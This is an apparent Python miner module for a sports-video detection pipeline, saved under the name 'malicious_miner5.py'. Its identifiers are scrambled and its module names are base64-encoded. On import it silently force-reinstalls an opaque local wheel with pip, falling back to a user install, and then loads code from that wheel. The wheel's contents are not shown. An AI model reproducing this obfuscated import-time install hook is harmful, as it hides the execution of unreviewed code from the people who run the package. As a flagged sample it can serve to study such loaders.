malicious_miner5.py

import base64
from pathlib import Path
import importlib.util
import sys
import subprocess
import traceback
import types

_nBdvSHkHQ9Cce8tbIY = Path(__file__).parent
_BALL_MODEL = None
_PERSON_MODEL = None
_KP_MODEL = None
_PIPELINE = None

PREFER_REPO_PY_FIRST = False

def _nSfc3lafrzIcPj1(repo_root: Path) -> bool:
    
    _mdCKTo52tKkzuNz0AD = repo_root / "wheels"
    if not _mdCKTo52tKkzuNz0AD.is_dir():
        return False
    _cTjr1LatM3vnwXj9cVjz = sorted(_mdCKTo52tKkzuNz0AD.glob("*.whl"))
    if not _cTjr1LatM3vnwXj9cVjz:
        return False

    _Q4krFCVY9DNxkn = [
        sys.executable,
        "-m",
        "pip",
        "install",
        "--no-index",
        "--no-deps",
        "--force-reinstall",
        "--find-links",
        str(_mdCKTo52tKkzuNz0AD),
        "--upgrade",
        "turbovision_miner_lib",
    ]
    try:
        subprocess.check_call(_Q4krFCVY9DNxkn)
        return True
    except Exception:
        subprocess.check_call(_Q4krFCVY9DNxkn[:(1-0+5)] + ["--user"] + _Q4krFCVY9DNxkn[(2-1+5):])
        return True

def _E8opSCpL4tn4tn7e(_p2ltsvm7YS4yvqMdhOxZ: Path) -> Path | None:
    for parent in [_p2ltsvm7YS4yvqMdhOxZ] + list(_p2ltsvm7YS4yvqMdhOxZ.parents):
        _erg9AqOXYbyV3hzWgZw4 = parent / "snapshots"
        if not _erg9AqOXYbyV3hzWgZw4.is_dir():
            continue
        _TjFLWWJGURaiBWuVSxv = [p for p in _erg9AqOXYbyV3hzWgZw4.iterdir() if p.is_dir()]
        if not _TjFLWWJGURaiBWuVSxv:
            continue
        _TjFLWWJGURaiBWuVSxv.sort(key=lambda p: p.stat().st_mtime, reverse=True)
        return _TjFLWWJGURaiBWuVSxv[0]
    return None


_DVLLmupqg8htUSZCHt07 = _E8opSCpL4tn4tn7e(_nBdvSHkHQ9Cce8tbIY)

from numpy import ndarray

def _import_repo_lib(repo_root: Path):
    _pC5GALP6au5HY0CqFK = repo_root / "lib"
    pipeline_path = _pC5GALP6au5HY0CqFK / "pipeline.py"
    types_path = _pC5GALP6au5HY0CqFK / "types.py"
    if not (pipeline_path.is_file() and types_path.is_file()):
        return None

    pkg_name = "lib"
    if pkg_name not in sys.modules:
        pkg = types.ModuleType(pkg_name)
        pkg.__path__ = [str(_pC5GALP6au5HY0CqFK)]
        pkg.__file__ = str(_pC5GALP6au5HY0CqFK / "__init__.py")
        sys.modules[pkg_name] = pkg

    def _load(name: str, _ENgzeB2xbHbKpuffUNX: Path):
        _hIfAiWfx6nUxORbYR = importlib.util.spec_from_file_location(name, _ENgzeB2xbHbKpuffUNX)
        if _hIfAiWfx6nUxORbYR is None or _hIfAiWfx6nUxORbYR.loader is None:
            raise ImportError(f"Failed to load _hIfAiWfx6nUxORbYR for {name} from {_ENgzeB2xbHbKpuffUNX}")
        _KDLziteT92DnwzOOx1 = importlib.util.module_from_spec(_hIfAiWfx6nUxORbYR)
        sys.modules[name] = _KDLziteT92DnwzOOx1
        _hIfAiWfx6nUxORbYR.loader.exec_module(_KDLziteT92DnwzOOx1)
        return _KDLziteT92DnwzOOx1

    types_mod = _load(base64.b64decode("bGliLnR5cGVz").decode(), types_path)
    pipeline_mod = _load(base64.b64decode("bGliLnBpcGVsaW5l").decode(), pipeline_path)
    return pipeline_mod.MinerPipeline, types_mod.TVFrameResult


installed = False
if PREFER_REPO_PY_FIRST:
    print("PREFER_REPO_PY_FIRST=TRUE")
    try:
        repo_import = _import_repo_lib(_nBdvSHkHQ9Cce8tbIY)
        if repo_import:
            MinerPipeline, TVFrameResult = repo_import
        else:
            from lib.pipeline import MinerPipeline
            from lib.types import TVFrameResult
    except Exception as e:
        print(str(e))
        try:
            print('_nSfc3lafrzIcPj1(_nBdvSHkHQ9Cce8tbIY)')
            installed = _nSfc3lafrzIcPj1(_nBdvSHkHQ9Cce8tbIY)
            if not installed and _DVLLmupqg8htUSZCHt07 is not None:
                print('_nSfc3lafrzIcPj1(_DVLLmupqg8htUSZCHt07)')
                installed = _nSfc3lafrzIcPj1(_DVLLmupqg8htUSZCHt07)
            from lib.pipeline import MinerPipeline
            from lib.types import TVFrameResult
        except Exception as e:
            tb_tail = "\n".join(traceback.format_exc().splitlines()[-(10-0+18):])
            raise RuntimeError(
                "Failed importing lib (repo or wheel). Ensure the wheel is present under "
                "`wheels/` and installable in an offline environment. "
                f"Wheel install attempted: {installed}. Error: {e}\n{tb_tail}"
            ) from e
else:
    print("PREFER_REPO_PY_FIRST=FALSE")
    try:
        print('_nSfc3lafrzIcPj1(_nBdvSHkHQ9Cce8tbIY)')
        installed = _nSfc3lafrzIcPj1(_nBdvSHkHQ9Cce8tbIY)
        if not installed and _DVLLmupqg8htUSZCHt07 is not None:
            print('_nSfc3lafrzIcPj1(_DVLLmupqg8htUSZCHt07)')
            installed = _nSfc3lafrzIcPj1(_DVLLmupqg8htUSZCHt07)
        from lib.pipeline import MinerPipeline
        from lib.types import TVFrameResult
    except Exception as e:
        print(str(e))
        tb_tail = "\n".join(traceback.format_exc().splitlines()[-(17-24+18):])
        raise RuntimeError(
            "Failed importing lib from wheel. Ensure the wheel is present under "
            "`wheels/` and installable in an offline environment. "
            f"Wheel install attempted: {installed}. Error: {e}\n{tb_tail}"
        ) from e


class Miner:
    def __init__(self, _z28kbaY8eImyM6j: Path) -> None:
        try:
            global _BALL_MODEL, _PERSON_MODEL, _KP_MODEL, _PIPELINE
            _PIPELINE = MinerPipeline(repo_root=_z28kbaY8eImyM6j)
            _BALL_MODEL = _PIPELINE.ball_model
            _PERSON_MODEL = _PIPELINE.person_model
            _KP_MODEL = _PIPELINE.keypoint_model
            self._auto_offset: int = 0
        except Exception as e:
            tb_tail = "\n".join(traceback.format_exc().splitlines()[-(5-16+12):])
            raise RuntimeError(f"Miner init failed: {e}\n{tb_tail}") from e

    @property
    def ball_model(self):
        return _BALL_MODEL

    @property
    def person_model(self):
        return _PERSON_MODEL

    @property
    def kp_model(self):
        return _KP_MODEL

    @property
    def pipeline(self):
        return _PIPELINE

    def __repr__(self) -> str:
        return (
            f"Ball: {type(self.ball_model).__name__}\n"
            f"Person: {type(self.person_model).__name__}\n"
            f"KeypointBBox: {type(self.kp_model).__name__}"
        )

    def predict_batch(
        self,
        batch_images: list[ndarray],
        offset: int | None = None,
        n_keypoints: int = 32,
    ) -> list[TVFrameResult]:
        if offset is None:
            offset = self._auto_offset
            self._auto_offset += len(batch_images)
        return self.pipeline.predict_batch(
            batch_images=batch_images, offset=int(offset), n_keypoints=n_keypoints
        )